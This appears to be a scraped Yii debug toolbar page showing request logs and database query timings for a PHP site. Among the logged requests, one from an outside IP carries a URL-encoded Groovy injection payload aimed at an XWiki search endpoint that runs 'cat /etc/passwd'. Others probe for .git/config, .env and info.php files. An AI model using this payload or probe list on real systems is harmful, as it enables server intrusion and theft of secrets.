2.0.49.3
PHP
7.4.33
Log
29
1
Time
10 ms
Memory
2.342 MB
DB
15
4 ms
Events
86
Route
site/error
Status
404
Guest
Asset Bundles
7
Configuration
Logs
Profiling
Database
Events
Mail
Timeline
Dump
Router
Request
User
Asset Bundles
Prev
Next
All
Latest
Last 10
67d6251e3f1aa: GET https://42.96.46.44/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20, 2025-03-16 08:10:54 am, 194.50.16.252
67d6219878339: GET https://hoasen3d.hoasenhome.vn/loai-cong-trinh?id=21, 2025-03-16 07:55:52 am, 101.99.57.35
67d6219438aee: GET https://hoasen3d.hoasenhome.vn/, 2025-03-16 07:55:48 am, 101.99.57.35
67d61f47f3688: GET https://hoasen3d.hoasenhome.vn/loai-cong-trinh?id=21&page=2&per-page=10, 2025-03-16 07:45:59 am, 101.99.57.35
67d61c3be5c73: GET https://42.96.46.44/data/.git/config, 2025-03-16 07:32:59 am, 45.148.10.90
67d61c3aa3468: GET https://42.96.46.44/env/.env, 2025-03-16 07:32:58 am, 45.148.10.90
67d61c3960880: GET https://42.96.46.44/user_area/.git/config, 2025-03-16 07:32:57 am, 45.148.10.90
67d61b481fe42: GET https://42.96.46.44/?rest_route=/wp/v2/users/, 2025-03-16 07:28:56 am, 206.189.2.13
67d61b4786c24: GET https://42.96.46.44/info.php, 2025-03-16 07:28:55 am, 206.189.2.13
67d61b46e884e: GET https://42.96.46.44/telescope/requests, 2025-03-16 07:28:54 am, 206.189.2.13
67d5c491d9949: GET
https://42.96.46.44/data/processing/.git/config
at 2025-03-16 01:18:57 am by 45.148.10.35
Timeline - 10 ms
Duration ≥
ms
Category
Filter
0.0 ms
10.0 ms
2.34 MB
yii\db\Connection::open
0.5 ms
/
1.69 MB
yii\db\Command::query
0.9 ms
/
1.70 MB
yii\db\Command::query
0.7 ms
/
1.71 MB
yii\db\Command::query
0.1 ms
/
1.80 MB
yii\db\Command::query
0.1 ms
/
1.82 MB
yii\db\Command::query
0.6 ms
/
1.83 MB
yii\db\Command::query
0.6 ms
/
1.84 MB
yii\db\Command::query
0.1 ms
/
1.84 MB
yii\db\Command::query
0.1 ms
/
1.85 MB
yii\db\Command::query
0.1 ms
/
1.86 MB
yii\db\Command::query
0.1 ms
/
1.86 MB
yii\db\Command::query
0.1 ms
/
1.87 MB
yii\db\Command::query
0.1 ms
/
2.04 MB
yii\db\Command::query
0.1 ms
/
2.05 MB
yii\db\Command::query
0.1 ms
/
2.06 MB
yii\db\Command::query
0.1 ms
/
2.06 MB